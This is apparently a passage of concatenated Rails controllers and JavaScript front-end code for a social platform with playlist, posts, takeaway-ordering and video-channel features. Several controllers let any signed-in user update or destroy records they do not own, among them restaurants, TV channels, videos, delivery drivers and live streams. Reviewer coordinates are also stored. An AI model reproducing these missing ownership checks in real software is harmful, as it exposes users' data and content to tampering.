@set = Playlist::Set.new
end
def create
@set = Playlist::Set.new(set_params)
@set.user = current_user if respond_to?(:current_user, true)
if @set.save
redirect_to playlist_set_path(@set), notice: t("playlist.set_created", default: "Set created")
else
render :new, status: :unprocessable_entity
end
end
def edit
end
def update
if @set.update(set_params)
redirect_to playlist_set_path(@set), notice: t("playlist.set_updated", default: "Set updated")
else
render :edit, status: :unprocessable_entity
end
end
def destroy
@set.destroy
redirect_to playlist_sets_path, notice: t("playlist.set_deleted", default: "Set removed")
end
private
def set_set
@set = Playlist::Set.find(params[:id])
end
def set_params
params.require(:set).permit(:name, :description, :privacy, :collaborative)
end
def authorize_owner_or_editor
user = Current.user || (respond_to?(:current_user) ? current_user : nil)
return if user == @set.user
collab = @set.collaborations.find_by(user: user)
return if collab && %w[owner editor].include?(collab.role)
redirect_to(playlist_set_path(@set), alert: "Not allowed")
end
end
end# frozen_string_literal: true
module Playlist
class TimestampedCommentsController < ApplicationController
before_action :set_track
def create
comment = @track.timestamped_comments.build(comment_params)
comment.user = current_user if respond_to?(:current_user, true)
comment.save!
respond_to do |format|
format.html { redirect_to playlist_track_path(@track) }
format.turbo_stream
format.json { render json: { id: comment.id }, status: :created }
end
end
private
def set_track
@track = Playlist::Track.find(params[:track_id])
end
def comment_params
params.require(:timestamped_comment).permit(:body, :timestamp_seconds)
end
end
end# frozen_string_literal: true
class Playlist::TracksController < Playlist::BaseController
before_action :set_playlist
def create
track = Playlist::Track.find_or_create_by!(title: params.dig(:playlist_track, :title),
artist: params.dig(:playlist_track, :artist)) do |t|
t.assign_attributes(track_params.except(:title, :artist))
end
@playlist.add_track!(track, user: Current.user)
redirect_to playlist_playlist_path(@playlist), notice: "Track added"
end
def destroy
pt = @playlist.playlist_tracks.find(params[:id])
pt.destroy
redirect_to playlist_playlist_path(@playlist)
end
private
def set_playlist = (@playlist = Playlist::Playlist.find(params[:playlist_id]))
def track_params = params.require(:playlist_track).permit(:title, :artist, :album, :duration_seconds, :source_type, :source_url, :genre)
end# frozen_string_literal: true
class PlaylistController < ApplicationController
def index
@playlists = [
{name: "Bergen Beats", tracks: 12, genre: "Electronic"},
{name: "Norwegian Folk", tracks: 8, genre: "Folk"},
{name: "Midnight Jazz", tracks: 15, genre: "Jazz"}
]
end
end# frozen_string_literal: true
class PostsController < ApplicationController
before_action :require_real_user, only: [:edit, :update, :destroy]
before_action :set_post, only: [:show, :edit, :update, :destroy]
before_action :set_community, only: [:new, :create]
def index
@posts = Post.hot.includes(:user, :community, :votes)
end
def show
@comments = @post.comments.where(parent_id: nil).best.includes(:user, :votes, replies: [:user, :votes])
@new_comment = Comment.new
end
def new
@post = Post.new(community: @community)
end
def create
@post = Post.new(post_params)
@post.user = Current.user
@post.anonymous = true if Current.user.guest?
@post.community = @community if @community
if @post.save
preset = post_params[:preset].presence
PostproJob.perform_later(@post.to_gid.to_s, preset) if preset && @post.image.attached?
redirect_to @post, notice: "Posted."
else
render :new, status: :unprocessable_entity
end
end
def edit; end
def update
if @post.update(post_params)
redirect_to @post
else
render :edit, status: :unprocessable_entity
end
end
def destroy
@post.destroy
redirect_to posts_path
end
private
def set_post
@post = Post.find(params[:id])
end
def set_community
@community = Community.find_by(id: params[:community_id])
end
def post_params
params.require(:post).permit(:title, :content, :community_id, :anonymous, :image, :preset)
end
end# frozen_string_literal: true
class PushSubscriptionsController < ApplicationController
def create
data = JSON.parse(request.body.read)
Current.user.push_subscriptions.find_or_create_by!(endpoint: data["endpoint"]) do |s|
s.p256dh = data.dig("keys", "p256dh")
s.auth = data.dig("keys", "auth")
end
head :created
rescue JSON::ParserError
head :bad_request
end
def destroy
Current.user.push_subscriptions.find_by(endpoint: params[:endpoint])&.destroy
head :ok
end
end# frozen_string_literal: true
class ReactionsController < ApplicationController
before_action :require_real_user
def create
@target = GlobalID::Locator.locate_signed!(params.require(:target_gid))
@kind = params[:kind].presence || "like"
existing = Reaction.find_by(user: Current.user, reactable: @target, kind: @kind)
@active = existing.nil?
@active ? Reaction.create!(user: Current.user, reactable: @target, kind: @kind) : existing.destroy!
respond_to do |f|
f.html { redirect_back fallback_location: root_path }
f.turbo_stream
f.json { render json: { active: @active, kind: @kind } }
end
end
end# frozen_string_literal: true
class ReportsController < ApplicationController
before_action :require_real_user
def create
@target = GlobalID::Locator.locate_signed!(params.require(:target_gid))
@report = ModerationReport.create!(
user: Current.user,
reportable: @target,
reason: params[:reason].presence || "other",
status: "open"
)
respond_to do |f|
f.html { redirect_back fallback_location: root_path, notice: "Report submitted." }
f.turbo_stream
f.json { render json: { reported: true } }
end
end
end# frozen_string_literal: true
class SessionsController < ApplicationController
allow_unauthenticated_access only: %i[ new create ]
rate_limit to: 10, within: 3.minutes, only: :create, with: -> { redirect_to new_session_path, alert: "Try again later." }
def new
end
def create
if user = User.authenticate_by(params.permit(:email_address, :password))
start_new_session_for user
redirect_to after_authentication_url
else
redirect_to new_session_path, alert: "Try another email address or password."
end
end
def destroy
terminate_session
redirect_to new_session_path, status: :see_other
end
end# frozen_string_literal: true
class Takeaway::BaseController < ApplicationController
end# frozen_string_literal: true
module Takeaway
class DeliveryDriversController < ApplicationController
before_action :set_driver, only: %i[show update]
def index
@delivery_drivers = Takeaway::DeliveryDriver.available.limit(100)
end
def show
end
def update
if @delivery_driver.update(driver_params)
redirect_to takeaway_delivery_driver_path(@delivery_driver), notice: t("takeaway.driver_updated", default: "Driver updated")
else
render :show, status: :unprocessable_entity
end
end
private
def set_driver
@delivery_driver = Takeaway::DeliveryDriver.find(params[:id])
end
def driver_params
params.require(:delivery_driver).permit(:vehicle_type, :license_number, :available, :current_lat, :current_lng)
end
end
end# frozen_string_literal: true
class Takeaway::FavoriteRestaurantsController < Takeaway::BaseController
before_action :set_restaurant
def create
Current.user.takeaway_favorite_restaurants.find_or_create_by!(restaurant: @restaurant)
redirect_back fallback_location: takeaway_restaurant_path(@restaurant), notice: "Restaurant saved"
end
def destroy
Current.user.takeaway_favorite_restaurants.find_by(restaurant: @restaurant)&.destroy
redirect_back fallback_location: takeaway_restaurant_path(@restaurant), notice: "Restaurant removed"
end
private
def set_restaurant = (@restaurant = Takeaway::Restaurant.find(params[:restaurant_id]))
end# frozen_string_literal: true
class Takeaway::MenuItemsController < Takeaway::BaseController
before_action :set_restaurant
def create
@item = @restaurant.menu_items.build(item_params)
@item.save ?
redirect_to(takeaway_restaurant_path(@restaurant), notice: "Item added") :
redirect_to(takeaway_restaurant_path(@restaurant), alert: @item.errors.full_messages.to_sentence)
end
def destroy
@restaurant.menu_items.find(params[:id]).destroy
redirect_to takeaway_restaurant_path(@restaurant)
end
private
def set_restaurant = (@restaurant = Current.user.takeaway_restaurants.find(params[:restaurant_id]))
def item_params = params.require(:takeaway_menu_item).permit(:name, :description, :price_cents, :available, :vegetarian, :vegan, :photo)
end# frozen_string_literal: true
class Takeaway::OrdersController < Takeaway::BaseController
before_action :set_restaurant, only: %i[new create]
def index
@pagy, @orders = pagy(Current.user.takeaway_orders.recent.includes(:restaurant))
end
def show
@order = Current.user.takeaway_orders.includes(:restaurant, order_items: :menu_item).find(params[:id])
end
def new
@order = Takeaway::Order.new
@menu_items = @restaurant.menu_items.available
end
def create
@order = @restaurant.orders.build(order_params.merge(user: Current.user))
item_params.each do |item_id, qty|
next unless qty.to_i > 0
item = @restaurant.menu_items.find_by(id: item_id)
next unless item
@order.order_items.build(menu_item: item, quantity: qty.to_i, unit_price_cents: item.price_cents)
end
saved = ActiveRecord::Base.transaction do
@order.save ? @order.calculate_totals! && true : false
end
if saved
redirect_to takeaway_order_path(@order), notice: "Order placed"
else
@menu_items = @restaurant.menu_items.available
render :new, status: :unprocessable_entity
end
end
def update
@order = Takeaway::Order.includes(:restaurant).find(params[:id])
@order.advance_status! if @order.restaurant.owner?(Current.user)
redirect_to takeaway_order_path(@order)
end
private
def set_restaurant = (@restaurant = Takeaway::Restaurant.find(params[:restaurant_id]))
def order_params = params.require(:takeaway_order).permit(:delivery_address, :special_instructions)
def item_params = params.dig(:takeaway_order, :items) || {}
end# frozen_string_literal: true
class Takeaway::RestaurantsController < Takeaway::BaseController
allow_unauthenticated_access only: %i[index show]
before_action :set_restaurant, only: %i[show edit update destroy]
def index
scope = Takeaway::Restaurant.active.includes(:user)
scope = scope.where(cuisine_type: params[:cuisine]) if params[:cuisine].present?
scope = scope.where("name LIKE ?", "%#{params[:q]}%") if params[:q].present?
@pagy, @restaurants = pagy(scope.popular)
end
def show
@menu_items = @restaurant.menu_items.available
@favorited = authenticated? && Current.user.takeaway_favorite_restaurants.exists?(restaurant: @restaurant)
@reviews = load_neighbour_reviews
@can_review = can_leave_review?
end
def new
@restaurant = Takeaway::Restaurant.new
end
def create
@restaurant = Current.user.takeaway_restaurants.build(restaurant_params)
@restaurant.save ?
redirect_to(takeaway_restaurant_path(@restaurant), notice: "Restaurant created") :
render(:new, status: :unprocessable_entity)
end
def edit; end
def update
@restaurant.update(restaurant_params) ?
redirect_to(takeaway_restaurant_path(@restaurant)) :
render(:edit, status: :unprocessable_entity)
end
def destroy
@restaurant.destroy
redirect_to takeaway_restaurants_path
end
private
def set_restaurant = (@restaurant = Takeaway::Restaurant.find(params[:id]))
def restaurant_params = params.require(:takeaway_restaurant).permit(
:name,
:description,
:address,
:city,
:phone,
:cuisine_type,
:delivery_fee_cents,
:min_order_cents,
:active,
)
def load_neighbour_reviews
base = @restaurant.reviews.includes(:user).order(created_at: :desc).limit(12)
return base unless authenticated? && Current.user&.latitude
my_lat = Current.user.latitude.to_f
my_lng = Current.user.longitude.to_f
base.select do |r|
rlat = r.reviewer_lat || r.user&.latitude
rlng = r.reviewer_lng || r.user&.longitude
next false unless rlat && rlng
User.haversine(my_lat, my_lng, rlat.to_f, rlng.to_f) <= 4.0
end
end
def can_leave_review?
authenticated? && Current.user.takeaway_orders.where(restaurant: @restaurant, status: "delivered").exists?
end
end# frozen_string_literal: true
class Takeaway::ReviewsController < Takeaway::BaseController
before_action :set_restaurant
def create
unless authenticated?
redirect_to(new_session_path, alert: "Sign in to leave a review")
return
end
user = Current.user
delivered_orders = Takeaway::Order.where(user: user, restaurant: @restaurant, status: "delivered")
has_delivered = delivered_orders.exists?
unless has_delivered
redirect_to(takeaway_restaurant_path(@restaurant), alert: "Review only after delivered order")
return
end
# note: unique(order,user) + delivered gate; no mutex needed
# law_of_demeter: direct model context here is fine for reviews
review = @restaurant.reviews.build(review_params.merge(user: user))
if user.latitude.present?
review.reviewer_lat = user.latitude
review.reviewer_lng = user.longitude
end
if review.save
@restaurant.update_rating!
redirect_to(takeaway_restaurant_path(@restaurant), notice: "Review saved")
else
redirect_to(takeaway_restaurant_path(@restaurant), alert: review.errors.full_messages.to_sentence)
end
end
private
def set_restaurant
@restaurant = Takeaway::Restaurant.find(params[:restaurant_id])
end
def review_params
params.require(:takeaway_review).permit(:rating, :body)
end
end# frozen_string_literal: true
class Tv::BaseController < ApplicationController
end# frozen_string_literal: true
class Tv::ChannelsController < Tv::BaseController
allow_unauthenticated_access only: %i[index show]
before_action :set_channel, only: %i[show edit update destroy subscribe unsubscribe]
def index = (@pagy, @channels = pagy(Tv::Channel.popular.includes(:user)))
def show = (@pagy, @videos = pagy(@channel.videos.published))
def new = (@channel = Tv::Channel.new)
def edit; end
def create
@channel = Current.user.tv_channels.build(channel_params)
@channel.save ? redirect_to(tv_channel_path(@channel), notice: "Channel created") : render(:new, status: :unprocessable_entity)
end
def update
@channel.update(channel_params) ? redirect_to(tv_channel_path(@channel)) : render(:edit, status: :unprocessable_entity)
end
def destroy = (@channel.destroy and redirect_to tv_channels_path)
def subscribe
Tv::Subscription.find_or_create_by!(user: Current.user, tv_channel: @channel)
redirect_back fallback_location: tv_channel_path(@channel)
end
def unsubscribe
Tv::Subscription.find_by(user: Current.user, tv_channel: @channel)&.destroy
redirect_back fallback_location: tv_channel_path(@channel)
end
private
def set_channel = (@channel = Tv::Channel.find_by!(slug: params[:id]))
def channel_params = params.require(:tv_channel).permit(:name, :description, :banner, :avatar)
end# frozen_string_literal: true
class Tv::CommentsController < Tv::BaseController
before_action :require_authentication
before_action :set_video
def create
@comment = @video.comments.build(comment_params.merge(user: Current.user))
if @comment.save
redirect_to tv_video_path(@video), notice: "Comment added."
else
redirect_to tv_video_path(@video), alert: @comment.errors.full_messages.to_sentence
end
end
private
def set_video
@video = Tv::Video.find(params[:video_id])
end
def comment_params
params.require(:tv_comment).permit(:body)
end
end# frozen_string_literal: true
class Tv::HomeController < Tv::BaseController
allow_unauthenticated_access
def index
@pagy_trending, @trending = pagy(Tv::Video.trending.includes(:channel), limit: 12)
@live = Tv::Broadcast.live.includes(:channel).limit(6)
@recent = Tv::Video.recent.includes(:channel).limit(8)
end
end# frozen_string_literal: true
module Tv
class LiveStreamsController < ApplicationController
before_action :set_live_stream, only: %i[show update destroy go_live end_live]
def index
@live_streams = Tv::LiveStream.recent.limit(50)
end
def show
@stream_chats = @live_stream.stream_chats.chronological.limit(200)
end
def new
@channel = Tv::Channel.find(params[:channel_id]) if params[:channel_id].present?
@live_stream = Tv::LiveStream.new(channel: @channel)
end
def create
@channel = Tv::Channel.find(params[:channel_id]) if params[:channel_id].present?
@live_stream = Tv::LiveStream.new(live_stream_params)
@live_stream.channel ||= @channel
@live_stream.user = current_user if respond_to?(:current_user, true)
if @live_stream.save
redirect_to tv_live_stream_path(@live_stream), notice: t("tv.live_stream_created", default: "Live stream created")
else
render :new, status: :unprocessable_entity
end
end
def update
if @live_stream.update(live_stream_params)
redirect_to tv_live_stream_path(@live_stream), notice: t("tv.live_stream_updated", default: "Live stream updated")
else
render :show, status: :unprocessable_entity
end
end
def destroy
@live_stream.destroy
redirect_to tv_live_streams_path, notice: t("tv.live_stream_deleted", default: "Live stream removed")
end
def go_live
@live_stream.go_live!
redirect_to tv_live_stream_path(@live_stream)
end
def end_live
@live_stream.end_live!
redirect_to tv_live_stream_path(@live_stream)
end
private
def set_live_stream
@live_stream = Tv::LiveStream.find(params[:id])
end
def live_stream_params
params.require(:live_stream).permit(:title, :description, :status, :stream_key)
end
end
end# frozen_string_literal: true
module Tv
class StreamChatsController < ApplicationController
before_action :set_live_stream
def create
entry = @live_stream.stream_chats.build(stream_chat_params)
entry.user = current_user if respond_to?(:current_user, true)
entry.save!
respond_to do |format|
format.html { redirect_to tv_live_stream_path(@live_stream) }
format.turbo_stream
format.json { render json: { id: entry.id }, status: :created }
end
end
private
def set_live_stream
@live_stream = Tv::LiveStream.find(params[:live_stream_id])
end
def stream_chat_params
params.require(:stream_chat).permit(:message)
end
end
end# frozen_string_literal: true
module Tv
class VideoNotesController < ApplicationController
before_action :set_video
def create
note = @video.video_notes.build(video_note_params)
note.user = current_user if respond_to?(:current_user, true)
note.save!
respond_to do |format|
format.html { redirect_to tv_video_path(@video) }
format.turbo_stream
format.json { render json: { id: note.id }, status: :created }
end
end
private
def set_video
@video = Tv::Video.find(params[:video_id])
end
def video_note_params
params.require(:video_note).permit(:body, :timestamp)
end
end
end# frozen_string_literal: true
class Tv::VideosController < Tv::BaseController
allow_unauthenticated_access only: %i[show]
before_action :set_video, only: %i[show destroy]
def show
@video.view_events.create!(user: Current.user) if authenticated?
@video.increment!(:views_count)
end
def new = (@video = Tv::Video.new)
def create
channel = Current.user.tv_channels.find(params[:tv_channel_id])
@video = channel.videos.build(video_params.merge(user: Current.user, status: "ready"))
@video.save ? redirect_to(tv_video_path(@video), notice: "Video uploaded") : render(:new, status: :unprocessable_entity)
end
def destroy = (@video.destroy and redirect_to tv_root_path)
private
def set_video = (@video = Tv::Video.find(params[:id]))
def video_params = params.require(:tv_video).permit(:title, :description, :video_file, :thumbnail, :tv_channel_id)
end# frozen_string_literal: true
class TypingIndicatorsController < ApplicationController
before_action :authenticate_user!
def create
conversation = Conversation.for_user(current_user).find(params[:conversation_id])
TypingIndicator.set!(conversation:, user: current_user)
head :ok
end
end# frozen_string_literal: true
class VotesController < ApplicationController
before_action :require_authentication
def create
@votable = find_votable
vote = @votable.votes.find_or_initialize_by(user: Current.user)
value = params.dig(:vote, :value).to_i
if vote.persisted? && vote.value == value
vote.destroy
else
vote.update!(value:)
end
respond_to do |format|
format.turbo_stream
format.html { redirect_back fallback_location: root_path }
end
end
private
def find_votable
return Post.find(params[:post_id]) if params[:post_id]
return Comment.find(params[:comment_id]) if params[:comment_id]
raise ActiveRecord::RecordNotFound, "no votable in params"
end
endimport "@hotwired/turbo-rails"
import "controllers"
// ── Warp tunnel + city carousel ──────────────────────────────────────────────
// Runs once on first load; canvas/carousel are data-turbo-permanent so they
// survive Turbo navigations without re-initialisation.
const pack32 = (r, g, b, a) => ((a & 255) << 24) | ((b & 255) << 16) | ((g & 255) << 8) | (r & 255);
const motionScale = () => (typeof matchMedia === "function" && matchMedia("(prefers-reduced-motion: reduce)").matches) ? 0.35 : 1;
const isLowEnd = (navigator.hardwareConcurrency && navigator.hardwareConcurrency <= 2) || (navigator.deviceMemory && navigator.deviceMemory <= 2);
const DPR = Math.min(2, window.devicePixelRatio || 1);
class SimpleCarousel {
constructor(el, ms = 2800) {
this.slides = Array.from(el.querySelectorAll(".carousel-slide"));
this.i = 0; this.n = this.slides.length;
if (this.n > 1) setInterval(() => this.next(), ms);
}
next() {
this.slides[this.i].classList.remove("active");
this.i = (this.i + 1) % this.n;
this.slides[this.i].classList.add("active");
}
}
class PixelTunnel {
constructor(c) {
this.ctx = c; this.w = 0; this.h = 0; this.s = 1;
this.imageData = null; this.u32 = null; this.BLACK32 = 0;
this.fov = 250; this.speed = 0.75;
this.segments = isLowEnd ? 32 : 48;
this.baseRadius = 75; this.zStep = isLowEnd ? 6 : 4;
this.particles = []; this.centers = []; this.time = 0;
this.mouse = { x: 0, y: 0, down: false, active: false };
this.stars = []; this.bassWobble = 0;
}
resize(w, h, s) {
this.w = w; this.h = h; this.s = s;
this.ctx.fillStyle = "#000"; this.ctx.fillRect(0, 0, w, h);
this.imageData = this.ctx.getImageData(0, 0, w, h);
this.u32 = new Uint32Array(this.imageData.data.buffer);
const t = new Uint8ClampedArray(4); t[3] = 255;
this.BLACK32 = new Uint32Array(t.buffer)[0];
this.stars = [];
for (let i = 0; i < 80; i++) this.stars.push({ x: (Math.random() - 0.5) * w * 2, y: (Math.random() - 0.5) * h * 2, z: Math.random() * this.fov * 2 - this.fov, brightness: Math.random() * 0.5 + 0.5 });
this.init();
}
drawLine32(x1, y1, x2, y2, c) {
let dx = Math.abs(x2 - x1), dy = Math.abs(y2 - y1), sx = x1 < x2 ? 1 : -1, sy = y1 < y2 ? 1 : -1, err = dx - dy, lx = x1, ly = y1;
for (;;) {
if (lx > 0 && lx < this.w && ly > 0 && ly < this.h) this.u32[lx + ly * this.w] = c;
if (lx === x2 && ly === y2) break;
const e2 = 2 * err;
if (e2 > -dy) { err -= dy; lx += sx; }
if (e2 < dx) { err += dx; ly += sy; }
}
}
getCirclePos(cx, cy, r, i, s) {
const a = i * (Math.PI * 2 / s) + this.time + (this.bassWobble || 0) * 0.1;
return { x: cx + Math.cos(a) * r, y: cy + Math.sin(a) * r };
}
init() {
this.particles = []; this.centers = [];
const w1 = Math.random() * this.w, h1 = Math.random() * this.h; let c = 0;
for (let z = -this.fov; z < this.fov; z += this.zStep) {
this.centers.push({ x: ((this.w / 2) - w1) * (c / 15) + this.w / 2, y: ((this.h / 2) - h1) * (c / 15) + this.h / 2 }); c++;
const row = [];
for (let i = 0; i < this.segments; i++) {
const p = this.getCirclePos(0, 0, this.baseRadius, i, this.segments);
row.push({ x: p.x, y: p.y, z, x2d: 0, y2d: 0, radius: this.baseRadius, radiusAudio: this.baseRadius, index: i, segments: this.segments, centerX: 0, centerY: 0 });
}
this.particles.push(row);
}
}
frame(a) {
const m = motionScale();
this.bassWobble = this.bassWobble * 0.92 + (a?.bass || 0) * (a?.beat || 0) * 0.08;
this.u32.fill(this.BLACK32);
for (const star of this.stars) {
star.z -= this.speed * 2 * m;
if (star.z < -this.fov) { star.z += this.fov * 2; star.x = (Math.random() - 0.5) * this.w * 2; star.y = (Math.random() - 0.5) * this.h * 2; }
const sc = this.fov / (this.fov + star.z), sx = (this.w / 2 + star.x * sc) | 0, sy = (this.h / 2 + star.y * sc) | 0;
const br = (star.brightness * (1 - star.z / this.fov) * 180) | 0;
if (sx > 0 && sx < this.w && sy > 0 && sy < this.h) this.u32[sx + sy * this.w] = pack32(br * 0.3, br * 0.5, br, 255);
}
const l = this.particles.length; let s = false;
for (let i = 0; i < l; i++) {
const row = this.particles[i], rowBack = i > 0 ? this.particles[i - 1] : null, center = this.centers[i];
if (this.mouse.active) {
center.x = (this.w / 2 + this.mouse.x / this.s) * ((row[0].z - this.fov) / 500) + this.w / 2;
center.y = (this.h / 2 + this.mouse.y / this.s) * ((row[0].z - this.fov) / 500) + this.h / 2;
} else { center.x += (this.w / 2 - center.x) * 0.015; center.y += (this.h / 2 - center.y) * 0.015; }
const f = (a?.average || 0) * 64 + (a?.beat ? 8 : 0);
if ((this.baseRadius + f) * (this.fov / (this.fov + row[0].z)) < 0.15) continue;
for (let j = 0; j < row.length; j++) {
const p = row[j], z = this.fov / (this.fov + p.z);
p.x2d = p.x * z + center.x; p.y2d = p.y * z + center.y; p.radiusAudio = p.radius + f;
p.z -= this.speed * m; if (p.z < -this.fov) { p.z += this.fov * 2; s = true; }
const n = this.getCirclePos(p.centerX, p.centerY, p.radiusAudio, p.index, p.segments); p.x = n.x; p.y = n.y;
}
const d = i / Math.max(1, l - 1), bt = a?.beat || 0, av = a?.average || 0.45, bs = a?.bass || 0.5;
const col = pack32(Math.round((20 + 60 * d + bt * 30) / 8) * 8, Math.round((40 + 120 * av) / 8) * 8, Math.round((180 * bs + 75 * (a?.high || 0.35)) / 8) * 8, 255);
for (let j = 1; j < row.length; j++) this.drawLine32(row[j].x2d | 0, row[j].y2d | 0, row[j - 1].x2d | 0, row[j - 1].y2d | 0, col);
if (row.length > 2) this.drawLine32(row[row.length - 1].x2d | 0, row[row.length - 1].y2d | 0, row[0].x2d | 0, row[0].y2d | 0, col);
if (i > 0 && i < l - 1 && rowBack) for (let j = 0; j < row.length; j++) this.drawLine32(row[j].x2d | 0, row[j].y2d | 0, rowBack[j].x2d | 0, rowBack[j].y2d | 0, col);
}
if (s) this.particles = this.particles.sort((a, b) => b[0].z - a[0].z);
this.time += 0.005 * m;
const cx = this.w / 2, cy = this.h / 2, beat = a?.beat || 0;
const glowR = 2 + beat * 1.5, glowCol = pack32(80, 200, 160, 255);
for (let dx = -glowR; dx <= glowR; dx++) for (let dy = -glowR; dy <= glowR; dy++) if (dx * dx + dy * dy <= glowR * glowR) { const px = (cx + dx) | 0, py = (cy + dy) | 0; if (px > 0 && px < this.w && py > 0 && py < this.h) this.u32[px + py * this.w] = glowCol; }
this.ctx.putImageData(this.imageData, 0, 0);
}
}
// Synthetic beat data (no audio needed for visual effect)
let _bp = 0, _be = 0;
const syntheticData = () => {
_bp += 0.08 * motionScale();
const b = 0.5 + 0.4 * Math.sin(_bp * 0.8), mid = 0.45 + 0.35 * Math.sin(_bp * 1.2 + 0.7), h = 0.35 + 0.35 * Math.sin(_bp * 1.8 + 1.2);
const beat = Math.sin(_bp) > 0.8 ? 1 : 0; _be = _be * 0.94 + (beat ? 0.4 : 0) * 0.06;
return { bass: b, mid, high: h, average: (b + mid + h) / 3, beat: _be };
};
let tunnel, SCALE = 1, lastT = 0;
function initTunnel() {
const canvas = document.getElementById("tunnel-canvas");
if (!canvas || canvas.__tunnelInit) return;
canvas.__tunnelInit = true;
const ctx = canvas.getContext("2d", { alpha: false, willReadFrequently: true }) || canvas.getContext("2d");
tunnel = new PixelTunnel(ctx);
const sizeCanvas = () => {
SCALE = Math.max(0.5, Math.min(2, Math.min(2, DPR) * (isLowEnd ? 0.8 : 1)));
const w = Math.floor(window.innerWidth * SCALE), h = Math.floor(window.innerHeight * SCALE);
canvas.width = w; canvas.height = h;
canvas.style.width = window.innerWidth + "px"; canvas.style.height = window.innerHeight + "px";
tunnel.resize(w, h, SCALE);
};
sizeCanvas();
window.addEventListener("resize", () => { clearTimeout(window.__rzT); window.__rzT = setTimeout(sizeCanvas, 80); });
// Canvas fills the viewport (position:fixed; inset:0) so clientX === canvas X.
// Listen on window so app-shell (z-index:10) doesn't swallow the events.
window.addEventListener("mousemove", e => { if (!tunnel) return; tunnel.mouse = { x: e.clientX * SCALE, y: e.clientY * SCALE, down: tunnel.mouse.down, active: true }; }, { passive: true });
window.addEventListener("mouseleave", () => { if (!tunnel) return; tunnel.mouse.active = false; tunnel.mouse.down = false; });
const animate = () => {
const n = performance.now();
if (!document.hidden && n - lastT >= 16) { tunnel.frame(syntheticData()); lastT = n; }
requestAnimationFrame(animate);
};
animate();
}
function updateCarouselPrefix() {
const el = document.getElementById("cityCarousel");
if (!el) return;
const slides = el.querySelectorAll(".carousel-slide");
slides.forEach(s => { if (!s.dataset.base) s.dataset.base = s.textContent.trim(); });
const parts = location.hostname.split(".");
const prefix = parts.length >= 3 && parts[0] !== "www" ? parts[0] + "." : "";
slides.forEach(s => { s.textContent = prefix + s.dataset.base; });
}
function initCarousel() {
const el = document.getElementById("cityCarousel");
if (!el || el.__carouselInit) return;
el.__carouselInit = true;
new SimpleCarousel(el);
updateCarouselPrefix();
}
function initSplash() {
const splash = document.getElementById("splash");
if (!splash || splash.__splashInit) return;
splash.__splashInit = true;
const dismiss = () => {
if (splash.hidden) return;
splash.style.pointerEvents = "none";
splash.classList.add("ack");
const h2 = splash.querySelector("h2");
if (h2) h2.classList.add("clicked");
setTimeout(() => { splash.hidden = true; splash.classList.remove("ack"); }, 220);
};
splash.addEventListener("click", e => { e.stopPropagation(); dismiss(); });
splash.addEventListener("keydown", e => { if (e.code === "Enter" || e.code === "Space") { e.preventDefault(); dismiss(); } });
splash.focus();
}
document.addEventListener("DOMContentLoaded", () => {
initTunnel();
initCarousel();
initSplash();
});
// Re-run splash + carousel prefix on Turbo page loads (tunnel/carousel persist via data-turbo-permanent)
document.addEventListener("turbo:load", () => {
initSplash();
updateCarouselPrefix();
});
if ("serviceWorker" in navigator) navigator.serviceWorker.register("/service-worker")
// Nav swipe-to-reveal
document.addEventListener("turbo:load", () => {
const nav = document.querySelector("nav");
if (!nav) return;
let y0 = 0;
document.addEventListener("touchstart", e => { y0 = e.touches[0].clientY; }, { passive: true });
document.addEventListener("touchend", e => {
const dy = e.changedTouches[0].clientY - y0;
if (dy > 40) nav.classList.add("nav-visible");
else if (dy < -40) nav.classList.remove("nav-visible");
}, { passive: true });
});import AnimatedNumber from "@stimulus-components/animated-number"
export default class extends AnimatedNumber {}import { Application } from "@hotwired/stimulus"
const application = Application.start()
// Configure Stimulus development experience
application.debug = false
window.Stimulus = application
export { application }import { Controller } from "@hotwired/stimulus"
import StimulusReflex from "stimulus_reflex"
export default class extends Controller {
connect() {
StimulusReflex.register(this)
}
}import AutoSubmit from "@stimulus-components/auto-submit"
export default class extends AutoSubmit {}import CharacterCounter from "@stimulus-components/character-counter"
export default class extends CharacterCounter {}import Clipboard from "@stimulus-components/clipboard"
export default class extends Clipboard {}import Dialog from "@stimulus-components/dialog"
export default class extends Dialog {}import Dropdown from "@stimulus-components/dropdown"
export default class extends Dropdown {}import { Controller } from "@hotwired/stimulus"
/**
* Futurism-style infinite scroll for Pagy lists.
* Amazon-like "load more as you scroll" behavior.
*
* Usage on sentinel:
* <div data-controller="futurism-load-more"
* data-futurism-load-more-url-value="...next page url...">
* Loading more...
* </div>
*/
export default class extends Controller {
static values = { url: String }
observer = null
loading = false
connect() {
if (!this.hasUrlValue) return
this.observer = new IntersectionObserver(entries => {
entries.forEach(entry => {
if (entry.isIntersecting && !this.loading) {
this.loadMore()
}
})
}, { rootMargin: "200px" })
this.observer.observe(this.element)
}
disconnect() {
if (this.observer) this.observer.disconnect()
}
async loadMore() {
if (this.loading || !this.urlValue) return
this.loading = true
this.element.textContent = "Loading more deals…"
try {
const response = await fetch(this.urlValue, {
headers: { "Accept": "text/html" }
})
if (!response.ok) throw new Error("Failed to load more")
const html = await response.text()
const parser = new DOMParser()
const doc = parser.parseFromString(html, "text/html")
// Find the next page's cards and append them
const newGrid = doc.querySelector("#marketplace-listings")
const currentGrid = document.querySelector("#marketplace-listings")
if (newGrid && currentGrid) {
Array.from(newGrid.children).forEach(child => {
currentGrid.appendChild(child.cloneNode(true))
})
}
// Update sentinel with next page URL if available
const nextSentinel = doc.querySelector("[data-controller*='futurism-load-more']")
if (nextSentinel && nextSentinel.dataset.futurismLoadMoreUrlValue) {
this.urlValue = nextSentinel.dataset.futurismLoadMoreUrlValue
this.loading = false
} else {
// No more pages
this.element.remove()
}
} catch (error) {
console.error("[futurism-load-more]", error)
this.element.textContent = "Failed to load more. Scroll to retry."
this.loading =